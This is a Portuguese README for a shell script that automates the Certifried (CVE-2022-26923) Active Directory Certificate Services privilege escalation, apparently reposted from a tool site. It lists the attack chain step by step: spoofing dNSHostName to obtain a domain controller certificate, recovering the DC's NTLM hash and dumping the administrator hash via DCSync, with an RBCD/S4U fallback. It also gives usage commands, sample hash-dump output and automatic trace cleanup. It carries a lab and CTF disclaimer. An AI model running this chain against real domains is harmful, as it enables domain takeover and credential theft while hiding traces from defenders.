CVE-2022-26923 – Exploração do Certifried (Abuso de AD CS)

Exploração automatizada do CVE-2022-26923 (Certifried), permitindo escalonamento de privilégios por meio do abuso do Active Directory Certificate Services (AD CS), com fallback automático para Resource-Based Constrained Delegation (RBCD), culminando na extração do hash NTLM da conta de um administrador de domínio.

⚠️ Somente para fins educacionais / Laboratório / CTF

Não utilize em ambientes não autorizados.

🎯 Descrição

Este script automatiza a seguinte cadeia de ataque:

Método 1 — Clássico (Exploração Direta do CVE)

1. Criar uma conta de máquina controlada (nome aleatório para evitar conflitos)
2. Forjar o atributo dNSHostName para corresponder ao controlador de domínio
3. Solicitar um certificado de máquina via AD CS
4. Autenticar usando o certificado → extrair o hash NTLM do DC via PKINIT
5. Executar um ataque DCSync com secretsdump.py usando o hash do DC

Método 2 — Fallback (RBCD) (automático se o Método 1 falhar)

6. Converter PFX para PEM para uso com bloodyAD
7. Configurar Resource-Based Constrained Delegation (RBCD) no DC
8. Adicionar um SPN à conta de máquina comprometida via impacket-addspn
9. Solicitar um ticket S4U2Self + S4U2Proxy com getST.py
10. Extrair o hash NTLM via secretsdump.py usando o ticket Kerberos

🔗 Vulnerabilidade

• CVE-2022-26923 – "Certifried" — CVSS 8.8 (Alto)
• Afeta ambientes Active Directory que executam AD CS
• Permite que um usuário de baixo privilégio se passe por um controlador de domínio manipulando o atributo dNSHostName, fazendo com que a CA emita um certificado para a conta do DC

🛠 Ferramentas Utilizadas

📦 Instalação de Dependências

pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl

🚀 Uso

chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]

Opções Disponíveis

-d, --dc-ip     IP address of the Domain Controller
-D, --domain    Domain name (e.g. corp.local)
-u, --user      Valid domain user (UPN format: user@domain)
-p, --pass      User password
--verbose       Debug mode: display all executed commands
-h, --help      Show this help message

🧠 Exemplo (HTB Certifried)

./CVE-2022-26923.sh \
  -d 10.129.227.189 \
  -D certifried.htb \
  -u [email protected] \
  -p 'Ch4ng3m3!' \
  --verbose

Dica: Antes de executar, identifique o nome exato da CA e o modelo usando:

root@kitploit:~

certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdout

Em seguida, atualize CA_NAME e TEMPLATE nos valores padrão do script de acordo.

🔥 Saída Esperada

Dependendo do ambiente, um dos dois caminhos terá sucesso:

Método 1 (Clássico):

[5] Classic authentication attempt (Recovering DC hash)...    [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...

[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::

Método 2 (Fallback RBCD):

[5] Classic authentication attempt (Recovering DC hash)...    [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...

[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::

A limpeza OPSEC é executada automaticamente ao final (ou ao pressionar Ctrl+C):

[*] Starting trace cleanup (OPSEC)...
    [OK] Cleanup complete.

🏗 Fluxo de Ataque Interno

Random Machine Account Creation (e.g. PWN8472$)
              ↓
    dNSHostName Spoofing → dc.domain.local
              ↓
  Dynamic LDAP Sync Verification (polling)
              ↓
  Certificate Request via RPC (Machine Template)
    [NETBIOS timeout auto-retry up to 5x]
              ↓
┌─────────────────────────────────────────┐
│         METHOD 1 — CLASSIC              │
│   certipy-ad auth -pfx dc.pfx           │
│   → DC NTLM hash via PKINIT             │
│   → DCSync via secretsdump              │
└────────────────┬────────────────────────┘
                 │ [FAILS]
                 ▼
┌─────────────────────────────────────────┐
│         METHOD 2 — RBCD FALLBACK        │
│   PFX → PEM conversion (openssl)        │
│   bloodyAD: add rbcd dc$ COMP$          │
│   impacket-addspn: SPN on COMP$         │
│   getST: S4U2Self + S4U2Proxy (cifs/)   │
│   secretsdump via KRB5 ticket           │
└─────────────────────────────────────────┘
              ↓
 OPSEC Cleanup (trap EXIT/INT/TERM)
   - Remove RBCD attribute on DC
   - Delete machine account (COMP$)
   - Wipe local PFX / PEM / ccache files

🔧 Problemas Conhecidos e Solução de Problemas

⚠️ Isenção de Responsabilidade

Este projeto é fornecido para:

• Fins educacionais e de pesquisa
• Ambientes de laboratório pessoais
• Desafios de CTF / HackTheBox / Capture-The-Flag
• Testes de penetração autorizados (com aprovação por escrito)

O autor não se responsabiliza por qualquer uso não autorizado ou ilegal desta ferramenta.